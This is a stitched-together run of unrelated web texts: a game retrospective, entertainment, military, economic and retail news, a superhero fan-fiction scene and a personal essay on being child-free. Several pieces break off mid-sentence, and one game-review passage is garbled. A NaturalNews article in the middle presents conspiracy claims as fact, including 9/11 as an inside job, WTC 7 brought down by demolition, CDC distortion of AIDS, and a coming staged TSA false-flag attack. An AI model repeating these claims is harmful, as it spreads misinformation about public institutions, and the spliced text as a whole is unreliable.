Considering this is the final level, one might expect a lot of enemies, or a climactic boss fight -- after all, what mid-90's 2D side-scroller doesn't include some sort of explosive, action-packed conclusion? Thankfully, however, EWJ2 ends in a way wholly consistent with the game that precedes it: the last level is narratively bizarre and unusual from a gameplay standpoint, but totally satisfying in its execution. Jim and Psy-Crow engage in a footrace through an enormous, 24-hour church, each hoping to reach Pirncess What's-Her-Name before the others. No enemies. No big boss fight. Just Jim, Psy-Crow, and one challenging race against the clock.
As you can hopefully see, no two levels are really the same, and the game takes on an incredibly unusual and satisfying quality because of it. Hell, half the fun of each level is figuring out exactly what you're supposed to do. I'd write more about the gameplay itself, but (A) I'm extremely tired, and (B) you should really just play the game yourself and re-live it, in all its absurd (yet absolutely brilliant) glory.
Why You Probably Haven't Played It:
As I said, you almost definitely have -- but on the off chance that you're one of those poor souls who hasn't, I highly recommend purchasing it. If you NOT emulate it, almost all of the really cool sound and voice effects -- like, for instance, the different varieties of the word "groovy" spoken by two cows after each level -- are missing. Not to mention, of course, Doug TenNapel's vocal performance as Earthworm Jim is missing from pretty much every NOT emulated copy I DIDN'T emulate to write this article.
You are logged out. Login | Sign upSHARK TANK just got some cowboy competition.
The brother of Oscar winner Matthew McConaughey is set to star in the new business reality series WEST TEXAS INVESTORS CLUB, premiering in August on CNBC.
Michael “Rooster” McConaughey and longtime business parter Butch Gilliam will team up with former country music star Gil Prather to help aspiring entrepreneurs in need of investments and business advice.
Production is currently underway in Midland-Odessa, Texas.
“This is not like watching Barbara Corcoran or Mark Cuban,” says network programming boss Jim Ackerman, who also serves as an executive producer.
Deals are negotiated in a “clubhouse” setting where alcohol flows freely and a giant mounted bear looms in the background.
“It has a very casual feel,” Ackerman says. “It’s very west Texan.”
“The [investors] will not be mistaken for Wharton-educated business people and they are sort of self-deprecating about that. But they are very, very savvy. Underestimate them at your own peril.”
Each hour-long episode will feature two investment-seekers pitching their ideas which range from food and beverage businesses to iPhone apps.
But before any money changes hands, Rooster and Butch will put them through a series of unorthodox challenges — to get a better understanding of the person behind the plan.
The pilot episode features a Los Angeles food truck operator who is tasked with hunting and capturing the animals he will cook.
“They are really committed to the idea that the man or the woman behind the business is more important than the product or even the idea,” Ackerman tells me.
“They want to have a great sense that this person’s heart and soul is in the right place.”
McConaughey and Gilliam invest together in each project, using Prather as a “spiritual advisor,” Ackerman says.
“He is the person who is going to measure [the entrepreneur’s] heart and soul.”
Ackerman declined to discuss McConaughey’s movie star brother or whether he will appear on the show.
WEST TEXAS INVESTORS CLUB premieres August 4 on CNBC.Sailors aboard the USS Ronald Reagan scrubbed the external surfaces of the flight deck and island superstructure to remove potential radiation contamination on March 23, 2011, while at sea off the coast of Japan, where the aircraft carrier was providing humanitarian assistance as directed in support of Operation Tomodachi.
SASEBO NAVAL BASE, Japan — When the USS Ronald Reagan arrived off the coast of Japan’s main Honshu Island on March 13, 2011, it was greeted by radiation levels that far exceeded what Navy leadership had been told to expect by the Japanese government, according to a new report in the Asia-Pacific Journal.
The report, “Mobilizing Nuclear Bias: The Fukushima Nuclear Crisis and the Politics of Uncertainty,” says that the carrier was exposed to levels of radiation that were 30 times greater than normal as the carrier steamed for the coast to aid victims of the March 11, 2011, earthquake and tsunami.
Navy leadership has said that sailors were not exposed to harmful levels, even though those aboard were told to scrub the ship and equipment in protective suits. But the damage to the Tokyo Electric Power Company’s Fukushima plant was far worse than initially feared.
The report, released Feb. 17, and documents obtained by its author Kyle Cleveland, an associate sociology professor at Temple University Japan, fuel questions that remain more than three years later over what the Japanese government and TEPCO knew and what they told the U.S. as the nuclear disaster was escalating. Debate also continues over the level at which exposure to radiation becomes a health risk.
The report comes on the heels of a January directive from Congress, instructing the Defense Department to look at the potential health impact on the Navy first responders in Japan. In 2012, sailors and Marines filed a lawsuit alleging that TEPCO’s misinformation coaxed U.S. forces closer to the affected areas and made them sick. An amended suit was filed last month.
Unexpected readings
Cleveland began to study the crisis so that he could accurately advise his Study Abroad students on safety in the aftermath of the disaster, he told Stars and Stripes. Through his research and document requests, he examined the Fukushima Dai-ichi meltdown, the unconfirmed information released by the Japanese and the Navy response in the first month afterward.
Cleveland reported that the U.S. government tried to maintain a delicate diplomatic balance, leading a rescue effort and advising their Japanese allies while not fully trusting Japan’s assessment of the danger. At the same time, the Navy was identifying the potential scope of the problem while taking steps to ensure the safety of its servicemembers.
“As the crisis unfolded and efforts to bring the reactors under control were initially proving ineffective, concerns increased that radiation dispersion was unmitigated, and with radiation monitoring by the U.S. military indicating levels significantly beyond TEPCO’s conservative assessments, the United States broke with Japan, recommending an 80km exclusionary zone, and initiating military assisted departures for embassy staff and Department of Defense dependents from Japan,” Cleveland wrote. “These actions deviated significantly from Japan’s assessments (which had established a 30km evacuation zone), creating a dynamic where the U.S.... attempted to impose a qualitatively different crisis management response.”
Cleveland’s report included transcribed telephone conversations between U.S. based federal government officials, nuclear authorities, U.S. embassy officials in Tokyo and military staff in the Pacific Command. In one such conversation, Adm. Kirkland Donald, then director of naval reactors; Michael Weber from the Nuclear Regulatory Commission; Donald’s patrol director Troy Mueller; and Deputy Secretary of Energy Daniel Poneman discussed issues on the ground.
Poneman asked Donald about the difference between radiation levels they were finding and what they were being told by the Japanese. Mueller told Poneman that levels detected 100 nautical miles away were about 30 times those in a normal air sample out at sea. “We thought based on what we had heard on the reactors that we wouldn’t detect that level even at 25 miles,” he said. “So it’s much greater than what we had thought. We didn’t think we would detect anything at 100 miles.”
Mueller said that it would take a person 10 hours to reach a threshold where exposure at that level would become a thyroid dose issue.
Donald and Mueller also described airborne particulate levels being detected at 2 1/2 times above normal using on-board sensors. Air crews traveling to a Japanese vessel 50 miles off shore from the plant had five times the minimum detectable levels on their shoes when no radiation was expected at that distance, they said.
Weber said that the readings were greater than what was expected but were still fairly insignificant.
A final Defense Department report regarding radiation doses during Operation Tomodachi, including for those aboard the Reagan, agreed that the levels were too low to see any adverse health effects.
“The reported radiation doses to fleet-based individuals were at least one order of magnitude less than any dose associated with adverse health effects,” according to the report, which was released on the Operation Tomodachi Registry in September.
Lawsuit expanding
An amended lawsuit against TEPCO was filed last month, after a San Diego judge took issue with aspects of the original suit. The 50 servicemembers and their children in the suit claim to suffer from exposure-related ailments such as unexplained cancer, excessive bleeding and thyroid issues; lawyers say more than 100 more have asked to join the suit. The majority of the plaintiffs are from the Reagan, which can accommodate 6,275 sailors.
Many of the issues regarding the Reagan’s Tomodachi mission, including its proximity to the plant and whether sailors on board were given iodine tablets, have been challenged by servicemembers in the suit.
The Japanese utility has until March 31 to respond, according to Paul Garner, a lawyer for the plaintiffs.
Congress has given Assistant Secretary of Defense for Health Affairs Dr. Jonathan Woodson until April 15 to submit a report regarding the Reagan and adverse health impacts.
burke.matt@stripes.comMike Adams
NaturalNews
November 22, 2010
With the grassroots backlash over the TSA’s obscene pat-downs growing by the day, it’s becoming fairly obvious that the only way the U.S. government is going to get the public to accept these Fourth Amendment violations is if there is another “terrorist incident” that’s stopped by the TSA and its naked body scanners.
Be on the watch for a “staged” security event designed to convince the American people that they need to give up yet more freedoms in the name of police-state security.
So far, the TSA is molesting children, teens and grannies without being able to demonstrate that this gross violation of Americans’ Fourth Amendment rights is having any effect whatsoever on improving air travel safety. But if there’s anything to be learned from 9/11, it’s that the sheeple are always willing to give up their rights if they can be scared into doing so. (http://www.naturalnews.com…)
“After 9/11 people were scared and when people are scared they’ll do anything for someone who will make them less scared,” said Bruce Schneier, a Minneapolis security technology expert, in an AP story (http://news.yahoo.com/s/ap/20101121…). “But [this TSA] is particularly invasive. It’s strip-searching. It’s body groping. As abhorrent goes, this pegs it.”
TSA is fighting for its survival
The TSA is being threatened right now in a big way: One airport in Florida is already planning to ditch the agency and hire private contractors to run security. A NYC lawmaker has called for the “dismantling” of the TSA, and Rep Ron Paul has introduced legislation that would result in TSA agents being arrested for felony crimes if they touched peoples’ junk.
The TSA, in other words, is fighting for its very survival right now. What it desperately needs is some new terrorist incident to remind the American people how much they need to give up their freedoms in exchange for security.
Now, I’m not saying the TSA is going to plot to blow up an airplane or anything, but if there’s anybody who has the access to sneak something past airport security, it’s the TSA.
How false flag operations achieve government goals
The United States government has a long and detailed history of “staging” events in order to sway public opinion. The Gulf of Tonkin event in the Vietnam War era was deliberately staged by U.S. government officials in order to justify an escalation of military attacks on the North Vietnamese. Documents that were finally declassified just this year prove beyond any doubt that the U.S. government conspired to stage this “false flag” event. (http://www.prisonplanet.com/de-clas…)
Operation Northwoods was a similar plot. As Wikipedia relates:
The planned 1962 Operation Northwoods plot by the U.S. Department of Defense for a war with Cuba involved scenarios such as hijacking or shooting down passenger and military planes, sinking a U.S. ship in the vicinity of Cuba, burning crops, sinking a boat filled with Cuban refugees, attacks by alleged Cuban infiltrators inside the United States, and harassment of U.S. aircraft and shipping and the destruction of aerial drones by aircraft disguised as Cuban MiGs. These actions would be blamed on Cuba, and would be a pretext for an invasion of Cuba and the overthrow of Fidel Castro’s communist government. It was authored by the Joint Chiefs of Staff, nixed by John F. Kennedy, came to light through the Freedom of Information Act and was publicized by James Bamford. (http://en.wikipedia.org/wiki/False_…)
On the conspiracy theory front, there have long been accusations that the 9/11 attacks were an “inside job” staged as a pretext to clamp down on Americans’ freedoms and roll out the Patriot Act — the very law that coincidentally gives TSA agents the right to have anybody arrested and detained for 48 hours without cause, without a warrant and without legal representation. The evidence surrounding the collapse of the WTC 7 building now has literally thousands of engineers, scientists and citizens realizing the building was obviously brought down by demolition explosions (http://buildingwhat.org) and not an “office fire” as was the official explanation.
The point of all this is that when governments are cornered but don’t want to give in, they will sometimes resort to falsifying events in order to continue moving their agendas forward. As David Icke explains, it’s the old “problem-reaction-solution” approach. First, create the problem, then wait for the public reaction that allows you to enact the government solution.
The formula works like a charm for everything from pushing flu vaccines to justifying a war.
In fact, there is evidence that U.S. agents may already be working on this plan. The fake bomb recently found on board a German passenger jet, we now know, was manufactured by a U.S. company (http://www.prisonplanet.com/fake-bo…).
How government agencies keep themselves alive (and get more funding)
Is the TSA at that point of desperation yet? I’m not sure, but it would certainly be easy for high-level TSA operatives to find some patsy who hates the government, convince him that he should carry some liquid explosives onto an airplane, and then “catch” him at a TSA security checkpoint, thereby proving that we need to keep giving up our freedoms in the name of security.
The mainstream media would have a field day with that story, and for the next two weeks on the news, we’d all hear how important the TSA is and what a great job they’re doing, and how this “terrorist” was caught by the naked body scanner machine, and so on.
A d v e r t i s e m e n t
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Don’t be surprised to see such a scenario unfold. It’s not that I personally distrust the TSA in particular, because there are some good people who work there and who are not to blame for all this, but at the same time I’ve been around long enough and studied enough true history to know that government organizations will do practically anything to stay in power.
The DEA, for example, is desperately fighting against marijuana legalization not because marijuana is some highly dangerous drug (it isn’t), but because it’s job security for DEA agents.
The CDC, likewise, went completely out of its way last year to spread fear about the H1N1 Swine Flu for the same reasons: Job security. There’s nothing quite like declaring a stage-six pandemic to keep the Congressional funding flowing your way, huh?
The CDC also has a fascinating history of completely distorting the AIDS epidemic in order to boost its own funding, by the way. Watch this eye-opening video from House of Numbers to learn more: http://naturalnews.tv/v.asp?v=4FE73…
Every government agency — the TSA, CDC, FDA, USDA, FTC and so on — fights for its survival every year. That’s because in an era of budget cuts, every agency knows it could potentially be on the chopping block for severe cuts. And funding cuts translate into job losses. So the unspoken rule at all government agencies is to “make ourselves important” in order to keep the money flowing.
This is also why the food contamination scares have been hyped up beyond all reason over the last two years: The FDA wants new powers to control the food supply, and the best way to do that is to latch onto stories about e.coli and salmonella and blow those all out of proportion in order to pass reactionary legislation called Senate Bill 510 (http://www.naturalnews.com/030461_S…).
The truth about this food safety situation is that right now something like 80% of the chickens sold in grocery stores are contaminated with salmonella (http://www.naturalnews.com/021258.html), yet you don’t hear a peep about that story. And the FDA is making no effort whatsoever to “ban chicken meat” from grocery stores. Their fear mongering about food contamination is very selective, it seems.
Perhaps the TSA has been learning its lessons from the FDA. Simply stage a false flag attack and you, too, can have increased Congressional funding to “fight terror” or whatever.
We do need protections, but we need our rights even more
All this isn’t to say that America doesn’t have enemies who really do want to destroy us. It’s true that there are really bad people out there — people and groups who want to bring America down.
There are some good people in Washington who are fighting for our safety behind the scenes. Yes, the FBI, CIA and NSA all have “a few good men” who are doing things around the world that you and I don’t even want to know about. Stuff that would make you cringe if you knew about it.
The sacrifices being made by some of these individuals in the name of protecting America’s interests on the international stage will never be fully known, nor recognized by anyone in the mainstream. The everyday American people who go about their lives shopping, watching TV, collecting a paycheck and surfing the ‘web have no idea what goes on behind the scenes to give them the luxury of pursuing such a carefree lifestyle.
That’s why nothing I print here is intended to disrespect the front-line warriors who are fighting for America’s interests — soldiers, the few “good” feds, etc. But at the same time that there are some “good men” (and women) in these agencies, there are also some rotten apples (like in any organization, I suppose). There are some people working in the government who absolutely would not hesitate to stage a false flag attack if it meant increasing their power, their pay and their importance.
And those people must be scratching their heads right now, thinking, “Gee, it sure would be easy to pull off a staged event of some kind that keeps us all in power.”
I just hope they come to their senses and realize they should not be at war with the American people. They’re supposed to be fighting to protect our freedoms, not to take away our freedoms. The real war is with the true enemies of America — those state-sponsored terrorist groups that genuinely want to destroy America and everything it stands for.
Certainly, we must not let the terrorists win. But neither must we allow freedom to perish in the process.
Reasonable security is fine
As a freedom-loving American who values both my freedom and my safety, I will gladly submit to having my luggage X-rayed and walking through a metal detector. I will gladly sit beside an armed Air Marshal on the flight, captained by an armed pilot on the flight deck who hopefully has a couple of spare mags along with his Colt 1911, too (pilots carry firearms on airplanes right now, most people don’t even know..).
Yet as much as those security precautions seem reasonable, I refuse to subject myself to a body X-ray that emits ionizing radiation, and I refuse to give in to an obscene pat-down that involves government personnel feeling up my genitals, with or without a latex glove.
At that point, “security” has become tyranny. And the terrorists have already won.
We need to rise up and stop this. Just as some of our undercover federal agents (and active soldiers) are fighting for America’s interests overseas, you and I need to be fighting for our freedom right here at home, on American soil, with this airport security issue.
Fresh food that lasts from eFoods Direct (Ad)
We are not subjects. We are not cattle. We are sovereign citizens and we will not surrender our bodies to be fondled by government agents with the excuse that “it’s for our own good.”
And be on the watch for a “staged” security event designed to convince the American people that they need to give up yet more freedoms in the name of police-state security. I’m willing to bet that precisely such a plot is on the drawing board in Washington D.C. right now.by Bill Pearis
Onetime Mmoss singer Doug Tuttle will release his new album, It Calls on Me, on February 19 via Trouble in Mind. It’s a little It’s a bit more pastoral than his 2014 solo debut. With 12-string guitar and mellotron flutes and strings, first single “Falling To Believe” is gorgeous stuff. If you like Woods, you will probably dig this. Stream that song below.
Doug Tuttle will be on tour in February, hitting NYC at Rough Trade on 2/25. No word on who opens that show, but other dates on his tour are with The Paperhead and Herbcraft. Tickets for the Rough Trade show are on sale now. All tour dates are listed, along with album art, tracklist and song stream, below.
—
Doug Tuttle – It Calls On Me tracklist
1 – A Place For You
2 – It Calls On Me
3 – Make Good Time
4 – These Times
5 – Painted Eye
6 – Falling To Believe
7 – On Your Way
8 – Saturday-Sunday
9 – Where You Will Go
Doug Tuttle – 2016 Tour Dates
2/17: Detroit, MI – Marble Bar
2/18: Chicago, IL – The Owl #
2/19: Cleveland, OH – Happy Dog #
2/20: Cincinnati, OH – The Comet #
2/21: Nashville, TN- East Room #
2/22: Atlanta, GA- 529 #
2/23: Chapel Hill, NC – Local 506
2/24: Richmond, VA – Strange Matter
2/25: Brooklyn, NY – Rough Trade
2/26: Providence, RI – AS220 ^
2/27: Boston, MA – Lillypad ^
2/28: Portsmouth, NH – 3S Artspace ^
# – w/ Paperhead
^ – w/ HerbcraftImage copyright Getty Images
US job creation in May fell to its lowest level in more than five years, a sign of economic weakness that may limit the Federal Reserve's ability to raise interest rates soon.
The Labor Department said that employers added just 38,000 jobs last month, the fewest since September 2010.
The jobless rate fell to 4.7% from 5%, the lowest since November 2007.
But this was partly due to people dropping out of the labour force and no longer being counted as unemployed.
The government said a month-long Verizon strike had depressed employment growth by 34,000 jobs. The strikers would have been considered unemployed and counted in the figures. But even without the Verizon strike, non-farm payrolls would have increased by just 72,000.
The goods producing sector, which includes mining and manufacturing, shed 36,000 jobs, the most since February 2010.
Janet Yellen, chairwoman of the Federal Reserve, has hinted that interest rates could rise soon if US jobs growth picks up.
Ian Shepherdson, of Pantheon Capital, said the chances of June rise were now "dead", while the prospect of a July rise was "badly wounded".
'Bad, bad, bad'
The dollar immediately weakened after the data was released as investors speculated that a rate rise this month was unlikely. The main share markets opened down, led by a 0.6% fall in the S&P 500.
Mohamed el-Erian, chief economic adviser to Allianz, said "this unusual jobs report puts the Fed in a tricky position".
Image copyright Reuters
Analysis: Andrew Walker, BBC World Service economics correspondent
This is a weak report even if you make an allowance for the strike at Verizon. The number is still weak, and still short of what's needed to keep up with a growing population.
There's no mystery about weak job growth at the same time as there was a marked decline in the unemployment rate. That was down to people dropping out of the labour market. If someone is not looking for work they are not counted as unemployed even if they would like to have a job. The number "not in the labour force" rose by more than 600,000.
So, it is a disappointing monthly report. Still, unemployment below 5%, however the US got there, suggests a labour market doing a lot better than many other countries.
Joey Lake, US analyst at the Economist Intelligence Unit, described the jobs report as "bad, bad, bad: there is no positive spin to it".
He pointed out that the Labor Department also revised previous monthly figures lower.
"The labour market slowdown will make the Federal Reserve reconsider its next move," Mr Lake said. "It reduces the chance of a June rate increase and makes it more likely the Fed will wait until July, after the Brexit vote, which will also reduce the political risk from abroad."
Recent US data on consumer spending, industrial production, exports and housing had suggested that the economy was gathering speed after growth slowed to a 0.8% annualised rate in the first quarter.
Consumer spending surged in April on the back of sales of big-ticket items such as cars and household appliances. Sales of new homes reached an eight-year high in April.
Many economists had expect growth to speed up in the April-June quarter to an annualised pace of about 2.5%.Iceland is, of course, one of the great economic disaster stories of all time. An economy that produced a decent standard of living for its people was in effect hijacked by a combination of free-market ideology and crony capitalism; one of the papers (pdf) at the conference I just attended in Luxembourg shows that the benefits of the financial bubble went overwhelmingly to a small minority at the top of the income distribution:
Olafsson and Kristjansson
And in the process of building short-lived financial empires, a handful of operators built up enormous debts that their fellow citizens are now expected to repay.
But there’s an odd coda to the story. Unlike other disaster economies around the European periphery – economies that are trying to rehabilitate themselves through austerity and deflation — Iceland built up so much debt and found itself in such dire straits that orthodoxy was out of the question. Instead, Iceland devalued its currency massively and imposed capital controls.
And a strange thing has happened: although Iceland is generally considered to have experienced the worst financial crisis in history, its punishment has actually been substantially less than that of other nations. Here’s GDP:
Eurostat
And here’s employment:
Eurostat
The moral of the story seems to be that if you’re going to have a crisis, it’s better to have a really, really bad one. Otherwise, you’ll end up taking the advice of people who assure you that even more suffering will cure what ails you.Search Gallery Goddess of Wine Athena1chan 17 I want so much more than this provincial life Athena1chan 58 Advertisement Advertisement Seaking Pokemon Swimsuit Cosplay Athena1chan 53 But then she's never looked at me that way before Athena1chan 101 Black Magic Athena1chan 9 Expresion is Life -Groot Athena1chan 4 Pokemon inspired flasks! Athena1chan 4 Cyber monday sale Athena1chan 1 lay down with me Athena1chan 9 Come here Athena1chan 11 ICE Athena1chan 6 Amira - a bride's story - a cute bride Athena1chan 20 Beauty in chaos Athena1chan 6 A fierce bride Athena1chan 18 Athena's Wink Sale Athena1chan 1 Master Water Bender Korra Athena1chan 85 The next Avatar - Korra Athena1chan 45 Asha Greyjoy, Pirate Bitch Athena1chan 4 1000 hours in MS PAINT Athena1chan 2 In the bubble Athena1chan 7 Angry birds Athena1chan 73 lots of Original Hats Athena1chan 4 Lots of Character hats Athena1chan 5 Hetalia hats Athena1chan 11"It's official!" said an overly excited Mayor Kevin Johnson at today's press conference at Sacramento City Hall. Even though not a shovelful of dirt has been turned on the new Sacramento arena, it already has a name. "Starbucks Center Coliseum it is, or The Starbucks for short," said an ecstatic Howard Schultz.
When asked |
But I’m here now and there’s two things we got to discuss.”
There was no response. Only the motionless stare.
“This is a hard one, because I really want to be wrong, here. If this works, then it means my stupidity and my cowardice cost people big. Means I could have fixed something much sooner. Was only about the spring before last, I got a chance to use that newfangled internet. Took some time to learn, but I read up on you. Saw video of how you were fighting…”
“Kevin?” Lisette asked.
“Those Endbringer motherfuckers. I told you that you need to stop them, that you need to fight and protect people. And you have been.”
He clenched his hands, stared down at the ground, “And god help me, maybe I wasn’t specific enough. Maybe I didn’t realize you’d interpret me literally. We need you to kill the things. Destroy every last trace of them, throw them into space. Don’t know. But fight to kill, don’t just… God, I hope I’m wrong, that I’m remembering the words I chose all wrong, and that you didn’t hear my suggestion and take it to mean you should fight for fighting’s sake, or fight to stop them, but not to stop them for good. You understand? Don’t just stop them from doing what they were doing. Stop them permanently.”
The golden man hovered in place, so still it looked like he was frozen in time, standing in the air.
“My god, golden man, I’m praying you understand. Took me a year to get up the courage to do this, because I was afraid of this. If that was the problem, and you kill one of those bastards, then I just- I just saved countless people, and the blood of every person they’ve killed in the meantime is on my hands.”
“Kevin,” Lisette spoke, her voice quiet. Her hands settled on his shoulders.
He ignored her, “The other important topic? I’ve run out of time. Middle aged, and my liver’s done in. Never really drank, because I had to feed that dog over there. Never did any drugs, besides smoking fags. But I got the hepatitis somehow. Bad blood in a hospital, or someone else’s infected blood got mingled with mine on a night some kids decided to pick on a homeless man and I fought back. Running into you the way I did, golden man, and having you stop to listen to me? That was a one in a gazillion chance. Getting this disease was another, might be. Meeting you was the best and scariest part of my life, maybe it’s the same with the disease, a blessing in disguise. Maybe it was, aside from this young lady’s help, the only reason I was able to find the balls to come here.”
The rain wasn’t as violent or as heavy as it had been. It made for an audible change in the patter of water on stone and water on water.
Kevin sighed. “I’m here to get my affairs in order, and you’re most important after Duke. I want you to keep doing what you were doing. Help people. Try to communicate with the good guys more. I told you to do that before and you didn’t listen, but you should. And if there’s a problem, if you need someone to listen to, someone to visit from time to time, look for this young lady. Lisette. Because she’s good people. She’s a better person than I am. Braver. Has to be braver, if she’s stopping to talk to a homeless motherfucker like me, following him someplace.”
“No,” Lisette said, “I couldn’t.”
“Shitty thing for me to be doing,” Kevin said, turning to look over his shoulder at her. “This burden. But I somehow feel better about this than sending him to go obey you than telling him to go listen to and obey the Suits, or the Protectorate, or Red Gauntlet, or whoever. You think about it, figure out what you need to, decide what he needs to be told.”
“You think he will? He’ll come to me?” Lisette asked, her eyes were wide.
“Don’t know, but I think he might. Don’t know why he picked me to listen to, but he did. I could’ve reminded him of someone he used to know. Or he just up and decided we were friends, maybe. With luck, he can be your friend too.” Kevin sighed, “You two got it? You’re partners now.”
Lisette couldn’t bring herself to speak. The golden man didn’t respond either, didn’t even move to glance at Lisette.
The golden man hovered in place for long, silent seconds, and then took off, faster than the eye could see. Only a golden trail of light was left in his wake, quickly fading.
In mere seconds, Scion was gone.
“We have to tell someone,” Lisette said.
“You can try. They’ll look at you the way you looked at me. Like you’ve lost your mind.”
“But- but…”
“Yeah,” Kevin said. “Not so easy, is it? Maybe if you’re lucky, he’ll show up when others are around, and they’ll believe you when you talk about it.”
He sighed. “Come on, Duke.”
Lisette didn’t resist as he grabbed Duke’s leash. Kevin started walking away.
“I don’t understand!” Lisette called after him.
Kevin didn’t turn around or stop walking as he raised his voice to respond over the sound of the pouring rain. “Good deal, isn’t it? Ten pounds to become the most powerful person in the world.”
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Dragon Age: Origins - Ultimate Edition, SimCity 3000 Unlimited, and Dead Space were already available on PC, but if you're interested in DRM-free versions of those games, you can now get them on GOG. And for a period of time, they can be picked up at a discount.
Dead Space and Dragon Age can also be purchased from Steam and Origin; however, SimCity 3000 Unlimited is not available on either of those platforms. Dragon Age's Ultimate edition includes all of the game's expansions and DLC.
Normally, Dragon Age and Dead Space cost $20 each, while SimCity 3000 Unlimited goes for $10. With the discount, you can pick up Dragon Age and Dead Space for $8 a piece and SimCity 3000 Unlimited for $5. You can click through to the games' pages on GOG through the links below.
Dragon Age: Origins received a score of 9.5 in GameSpot's review for its "intricate, involving storytelling," Dead Space scored a 9 for its "truly terrifying gameplay," and SimCity 3000 Unlimited earned itself a 7.5 for being a "great game to play if you haven't spent much time with the series."
These additions to GOG offer another way to play EA's games, though the company does have its own PC subscription service that offers games for a monthly fee. Origin Access costs $5 a month and includes Dragon Age: Origins and Dead Space, among other EA and non-EA titles. Xbox One has a similar program called EA Access, which can also be subscribed to annually.Get the biggest daily stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
A pub has been left counting the cost after their card machine was left on training mode over the bank holiday weekend.
The simple mistake meant they didn’t make a penny from card payments worth hundreds of pounds on one of their busiest days of the year.
The Holland Hotel in Llanfachraeth took over £600 in card payments on Saturday, but later realised none of the transactions had been processed because the machine was on training mode.
Owners Liz Mangan and her husband Stephen, are now appealing for customers to “be honest” and come forward if they made a card payment.
(Image: Gareth Wyn Williams)
Mrs Mangan said: “On Saturday, we accidentally left our card machine on training mode, which meant that all the payments of all the customers who paid by card that day didn’t get processed.
“We’ve lost out by over £600, which is obviously a massive blow for any small business.
“It would have been a blow whenever it happened, but to happen on a bank holiday weekend makes it that much worse.”
(Image: Gareth Wyn Williams)
The couple, who have a two-year-old son and previously ran the Jolly Sailor in Prestatyn, took over the Holland 18 months ago.
Following the introduction of a full food menu, its brewery funded a substantial revamp last year.
The Holland is the only pub in the village and attracts its fair share of tourists due to its location on the A5025, which connects the A55 to northern Anglesey and its many beaches.
Mrs Mangan added: “We’ve only managed to get £65 back so far, and have been told by the card and insurance companies that they can’t do anything to help.
“Staff at the Sail Loft in Amlwch have already given us a donation, which is an amazing gesture and we can’t thank them enough. Just a small business helping another out.
“All that we can ask for now is for people to be honest enough so that, once they notice the money hasn’t been taken from their accounts, they get in touch with us.”Kmart Australia this evening announced plans to pull copies of Grand Theft Auto 5 from store shelves following a review of the game's content, Kotaku Australia reports.
The decision comes a day after Target Australia announced similar plans. In that case the decision was in response to complaints from customers about the game's depictions of violence against women.
"Following a significant review of all content in Grand Theft Auto games, Kmart has taken the decision to remove this product immediately," Kmart told Kotaku Australia. "Kmart apologises for not being closer to the content of this game."
Reached for comment today, officials with the Interactive Games & Entertainment Association (similar to the U.S.' ESA) decried the decision.
"Over the past few decades videogames have taken their place alongside film, literature and television as a medium capable of entertaining all ages, including the ability to sustain complex and mature themes for an adult audience that rival similar works in other media," an official told Polygon. "As a result, IGEA are surprised by the recent removal of a popular R18 game from retail shelves given the average age of a gamer in this country is 32. Games should not be treated any differently than books, music, television, or movies rated R18. IGEA's members are proud of their compliance with the National Classification Scheme and believe that consumers, which includes parents and caregivers, should be allowed to make informed decisions for themselves."
Target Australia's decision came in the wake of an online petition started by survivors of violence, including sex industry workers, who are calling for the removal of the game from Target. The petition, which started on Nov. 29, had reached more than 44,000 signatures this evening.
In the Change.Org petition, creators Nicole, Claire and Kat write that the game "encourages players to murder women for entertainment."
"The incentive is to commit sexual violence against women, then abuse or kill them to proceed or get 'health' points - and now Target are stocking it and promoting it for your Xmas stocking.
"Please Target - we appeal to you as women survivors of violence, including women who experienced violence in the sex industry, to immediately withdraw Grand Theft Auto V from sale."
In announcing its decision to pull the game from shelves, Target General Manager Corporate Affairs Jim Cooper said the decision was made following "extensive community and customer concern about the game."
Reached for comment this morning, a spokesperson for Target in the U.S. told Polygon that Target Australia is not connected to the U.S. chain in anyway. Target Australia is owned by Wesfarmers Ltd. which also owns Kmart Australia.
Strauss Zelnick, chairman and CEO of Take-Two Interactive Software, publisher of GTA 5, told Polygon in a prepared statement this afternoon that the company was disappointed about Target's decision.
Grand Theft Auto V explores mature themes and content similar to those found in many other popular and groundbreaking entertainment properties," he said. "Interactive entertainment is today's most compelling art form and shares the same creative freedom as books, television, and movies. I stand behind our products, the people who create them, and the consumers who play them."
Update: This story has been updated to clarify the relationship between Target and Target Australia.Don’t assume I care about your pregnancy because I’m a woman. The barren, child-free truth.
anna breslin Blocked Unblock Follow Following Oct 25, 2017
Girls are trained to want children and to want to be mothers. It’s been that way for millennia. It’s only recently that motherhood has become optional. When I was a child, all girls were given dolls to practice with. Sometimes we wanted those dolls, we begged for them. We loved them with all our hearts.
Other times we tore them apart limb by limb. There’s much to love and not love about reproducing and becoming a mother. Maybe when we’re young and twisting our doll’s head off it’s because we’re rebelling against our biological imperative on some level.
Now it’s starting to become acceptable to choose to be child free. It seems more couples are making this decision. I never questioned whether I really wanted to have a child. I expected to want to have a child. In fact, I thought it would be a personal tragedy if I didn’t have children.
I never had a baby and the time for trying is over. I went through a battle with infertility from ages 38–41. I lost. Was it me? My age? My (ex)husband’s mostly okay sperm? Maybe it just wasn’t meant to be. The end of the journey was incredibly painful. I cried for my not to be born child and no one could understand my mourning. I wouldn’t compare the loss of “an actual child” to a one who would never be, but people do. Loss is loss, there are no scales to measure or rank grief.
I put off my baby quest until I was in my late 30’s. My primary concern for years was resolving the myriad of health problems I had. After I got healthy, I should have jumped right into baby making. But I have to admit, I was turned off by the prospect of having a baby and what it would physically involve. I didn’t want to risk losing my health again.
I wasn’t thrilled by the prospect of having my vagina torn apart or my abdomen cut open. The pain! For what? Mothering is hard work. So many dirty diapers and all that crying. Kids bring all kinds of things home with them from daycare and school everything from lice to the plague, I think. Then there’s all that sleeping parents don’t get to do. Children are an expensive hobby. Do parents ever get to retire? What’s the point of all this family making?
Oh, sure children bring joy. I won’t deny there’s plenty of joy. I wanted the joy part. But all the rest of it, not so much. I was lucky to have been a step-mother, I had the joy without the diapers. But it had been so drilled into me that I should want a biological child, I never thought it was optional. After the process failed, I realized that although I invested my body and heart in the process, it really wasn’t the choice of my heart.
Women do have a choice about having children, and sometimes, no choice about not having them. There’s no one size fits all option or experience.
The other women.
There are difficulties that come when you don’t have a child, whether you want one or not. Other women are what makes it hard to live child free. It’s not just that they force their mothering world on you, sometimes they say horrible, stupid things.
